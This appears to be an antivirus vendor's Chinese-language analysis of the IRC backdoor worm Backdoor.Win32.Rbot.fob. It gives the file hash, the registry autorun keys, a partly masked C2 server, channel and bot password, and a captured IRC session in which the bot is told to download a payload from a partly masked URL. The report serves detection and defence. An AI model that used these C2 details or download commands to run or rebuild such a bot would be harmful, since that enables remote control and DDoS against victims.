病毒标签：

病毒描述：

行为分析：

病毒标签：

病毒名称： Backdoor.Win32.Rbot.fob

病毒类型： 后门

文件 MD5： 45D0455398BD893176EB34C4B319D618

公开范围： 完全公开

危害等级： 4

文件长度： 506,880 字节

感染系统： Windows98以上版本

加壳类型： Themida|WinLicense V1.9.2.0 -> Oreans Technologies [Overlay] *

病毒描述：

该病毒运行后，复制自身到%System32%目录下，添加注册表自动运行项以随机引导

病毒体；连接网络下载病毒文件，病毒运行后自我删除，此病毒为一个利用Windows平台

下IRC协议的网络蠕虫，受感染用户可能会被操纵进行Ddos攻击、远程控制、发送垃圾邮

件、创建本地Tftp、下载病毒文件等行为。

行为分析：

本地行为：

1、复制自身到 %system32% 文件夹下gwbuahihk.exe。

2、新增注册表：

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft

\\Windows\\CurrentVersion\\Run]

注册表值： "Winds Sersc Agts"

类型： REG_SZ

值： "zxnyjgzyu.exe"

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft

\\Windows\\CurrentVersion\\RunServices]

注册表值： "Winds Sersc Agts"

类型： REG_SZ

值： "zxnyjgzyu.exe

网络行为:

1、连接IRC服务器等待控制：

协议：TCP

连接服务器名：irc.priv****t.com

域名或IP地址：

209.250.232.2***：7000

加入的 IRC 频道名：

#FAAK#

用户名：dcxvtfdxls （随机小写字母）

密码：9400002290

对目标主机的操作：

/*昵称*/

NICK CHN|9400002290

/*欢迎信息*/

:irc.priv****.com NOTICE AUTH

:*** Looking up your hostname...

:irc.priv****.com NOTICE AUTH

:*** Couldn't resolve your hostname

:using your IP address instead

:irc.priv****.com 001 CHN|9400002290

:irc.priv****.com 002 CHN|9400002290

: M0dded by uNkn0wn Crew

:irc.priv****.com 003 CHN|9400002290

:irc.priv****.com 004 CHN|9400002290

:www.uNkn0wn.eu - iD@uNkn0wn.eu

:irc.priv****.com 005 CHN|9400002290

:irc.priv****.com 005 CHN|9400002290

:irc.priv****.com 005 CHN|9400002290

/*设置用户属性与加入房间及返回相关信息*/

:irc.priv****.com 422 CHN|9400002290

:MOTD File is missing

:CHN|9400002290 MODE CHN|9400002290 :+iwG

:irc.priv****.com 302

MODE CHN|9400002290 -x+i

JOIN #FAAK# saad.

USERHOST CHN|9400002290

MODE CHN|9400002290 -x+i

JOIN #FAAK# saad.

USERHOST CHN|9400002290

MODE CHN|9400002290 -x+i

JOIN #FAAK# saad.

USERHOST CHN|9400002290

MODE CHN|9400002290 -x+i

JOIN #FAAK# saad.

:CHN|9400002290!dcxvtfdxls@219.147.182.*** JOIN :#FAAK#

:irc.priv****.com 333 CHN|9400002290 #FAAK# G_G 1211382006

:irc.priv****t.com 302 CHN|9400002290 :CHN|9400002290=+dcxvtfdxls@219.147.182.***

:irc.priv****.com 302 CHN|9400002290 :CHN|9400002290=+dcxvtfdxls@219.147.182.***

:irc.priv****.com 302 CHN|9400002290 :CHN|9400002290=+dcxvtfdxls@219.147.182.***

/*加入房间#kok6*/

JOIN #FAAK# saad.

/*用户信息显示*/

USERHOST CHN|9400002290

:irc.priv****.com 302 CHN|9400002290 :CHN|9400002290=+dcxvtfdxls@219.147.182.***

/*连接网络下载病毒*/

:irc.priv****.com 332 CHN|9400002290 #FAAK# :.jp]de100 http://members.ly***.co.uk/abosal7/usb.exe sty.exe

:irc.priv****.com 333 CHN|9400002290 #FAAK# G_G 1211382006

/*服务器发送连接响应*/

PING :irc.priv****.com

/*回应服务器*/

PONG :irc.priv****.com

/*加入房间*/

JOIN #FAAK# saad.

2、连接网络下载病毒文件：

协议：TCP

域名或IP地址：http://members.l****.co.uk (213.193.4.**)

端口：80

对目标主机的操作：下载病毒文件

http://members.ly****.co.uk/abosal7/usb.exe

注： %System32% 是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的

位置。

%Windir% WINDODWS所在目录

%DriveLetter%　逻辑驱动器根目录

%ProgramFiles%　系统程序默认安装目录

%HomeDrive% 当前启动的系统的所在分区

%Documents and Settings% 当前用户文档根目录

%Temp% \\Documents and Settings

\\当前用户\\Local Settings\\Temp

%System32% 系统的 System32文件夹

Windows2000/NT中默认的安装路径是C:\\Winnt\\System32

windows95/98/me中默认的安装路径是C:\\Windows\\System

windowsXP中默认的安装路径是C:\\Windows\\System32

注2：与IRC服务器的交互信息中，符号“/**/”内的数据是分析员对下一行或几行的注释信息，非为与服务器的交互信息内容。